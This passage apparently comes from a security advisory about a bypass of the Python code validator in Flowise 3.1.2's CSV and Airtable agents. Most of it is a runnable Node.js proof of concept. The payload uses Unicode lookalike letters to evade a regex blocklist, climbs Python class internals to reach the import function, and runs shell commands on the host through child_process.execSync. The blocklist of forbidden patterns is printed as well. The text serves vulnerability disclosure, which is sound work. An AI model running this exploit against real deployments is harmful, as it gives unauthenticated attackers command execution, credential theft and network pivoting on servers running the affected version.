The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.
Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:
// npm install pyodide
const { loadPyodide } = require('pyodide')
const FORBIDDEN_PATTERNS = [
{ pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
{ pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },
{ pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },
{ pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },
{ pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },
{ pattern: /\bsys\./g }, { pattern: /\bsocket\./g },
{ pattern: /\burllib\./g }, { pattern: /\brequests\./g },
{ pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },
{ pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },
{ pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },
{ pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },
]
const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })
const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
if c.__name__ == 'catch_warnings':
cw = c()
bi = cw._module.__b\u{1D42E}iltins__
imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
imp = bi[imp_name]
js_mod = imp(chr(106)+chr(115))
cp_name = 'child' + chr(95) + 'process'
cp = js_mod.process.mainModule.require(cp_name)
opts = js_mod.Object.new(); opts.encoding = 'utf8'
result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
break
str(result)
`
;(async () => {
console.log('validator passes:', validate(payload)) // true
const py = await loadPyodide()
console.log(await py.runPythonAsync(payload))
})()
Any user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.